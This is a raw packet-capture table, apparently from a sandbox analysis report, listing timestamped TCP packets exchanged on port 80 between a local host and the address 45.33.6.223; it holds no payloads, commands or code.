Nov 7, 2024 10:50:14.278381109 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278392076 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278403044 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278415918 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278426886 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278435946 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278435946 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278435946 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278439999 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278450012 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278453112 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278464079 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278466940 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278481960 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278495073 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278625965 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278636932 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278646946 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278656960 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278662920 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278669119 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278672934 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278681993 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278687954 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278692961 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278707027 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278712034 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278717995 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278723001 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278743029 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278755903 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.278810024 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.278842926 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.279040098 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.279042959 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.279071093 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.286919117 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.286930084 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.286956072 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.286962032 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.286966085 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.286993027 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.286999941 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287019968 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287142992 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287175894 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287199974 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287210941 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287225962 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287231922 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287237883 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287245989 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287264109 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287275076 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287949085 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.287983894 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.287988901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.288002014 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.288022041 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.288038015 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.288100004 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.288110971 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.288131952 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.288145065 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.288747072 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289025068 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289061069 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289062977 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289072990 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289093018 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289105892 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289428949 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289459944 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289503098 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289516926 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289540052 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289541960 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289552927 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289556980 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.289585114 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.289603949 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291279078 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291290045 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291301966 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291318893 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291320086 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291338921 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291342974 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291347980 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291354895 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291367054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291377068 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291377068 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291389942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291389942 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291403055 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.291405916 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291421890 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.291435003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.292099953 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.292135954 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.292151928 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.292167902 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.292181015 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.292185068 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.292192936 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.292198896 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.292227983 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.293487072 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293504953 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293517113 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293528080 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293530941 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.293540955 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293543100 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.293554068 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.293571949 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.293875933 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.293908119 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294106007 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294125080 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294162989 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294275045 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294311047 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294543028 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294583082 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294624090 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294821978 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294861078 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294873953 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294888020 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294905901 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294924021 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294931889 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294950962 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.294966936 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.294980049 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299012899 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299031019 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299048901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299050093 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299061060 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299063921 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299072981 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299082994 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299083948 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299099922 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299103975 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299113035 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299114943 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299128056 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299129963 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299139023 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299153090 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299161911 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299166918 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299174070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299185991 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299197912 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299209118 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299223900 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299349070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299360037 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299381018 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299396038 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299515963 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299526930 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299551964 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299566984 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.299685001 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.299716949 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.300801039 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.300812006 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.300822973 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.300833941 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.300838947 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.300847054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.300853014 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.300867081 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.300879955 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301296949 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301307917 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301320076 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301330090 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301333904 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301345110 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301357985 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301467896 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301481009 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301491022 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301501036 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301502943 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301512003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301515102 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301527023 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301528931 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301542997 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301556110 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301888943 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301899910 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301912069 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.301923037 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.301939964 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302097082 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302098989 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302112103 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302123070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302134037 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302134991 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302154064 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302167892 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302258015 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302268982 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302280903 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302297115 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302309036 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302437067 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302447081 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.302470922 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302481890 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.302545071 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.305092096 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.305126905 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.305279016 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.305289984 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.305310011 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.305322886 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.318541050 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.318552971 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.318563938 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.318577051 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.318581104 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.318598986 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.318610907 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365678072 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365695953 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365714073 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365725040 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365736961 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365755081 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365755081 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365757942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365770102 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365777016 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365788937 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365803003 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365860939 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365873098 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365885019 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365894079 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365911007 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365922928 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.365938902 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.365969896 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.366004944 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.366017103 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.366039991 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.366054058 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.366079092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.366113901 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.366130114 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.366143942 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.368124008 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.408179045 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.408199072 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.408214092 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.408231020 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.408260107 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.441215992 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.441236019 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.441250086 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.441268921 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.441301107 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489269018 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489289045 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489295959 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489309072 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489315987 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489358902 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489372969 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489386082 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489403009 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489415884 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489474058 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489500046 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489532948 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489547014 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489590883 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489603996 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489609003 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489626884 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489640951 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.489655018 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.489665031 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.498444080 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.530069113 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.530096054 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.530111074 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.530122995 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.530129910 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.530136108 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.530169010 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.530169010 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.530169010 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.564651012 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.564692020 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.564703941 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.564729929 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.564776897 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612576962 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612597942 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612612963 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612632990 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612646103 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612657070 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612668991 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612680912 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612687111 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612693071 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612704992 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612716913 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612734079 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612734079 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612734079 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612735033 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612751961 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612756968 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612771988 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612790108 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612943888 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612958908 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.612977028 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.612984896 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.613004923 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.613018036 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.622454882 CET	49162	80	192.168.2.22	45.33.6.223
Nov 7, 2024 10:50:14.653593063 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.653615952 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.653631926 CET	80	49162	45.33.6.223	192.168.2.22
Nov 7, 2024 10:50:14.653661013 CET	49162	80	192.168.2.22	45.33.6.223
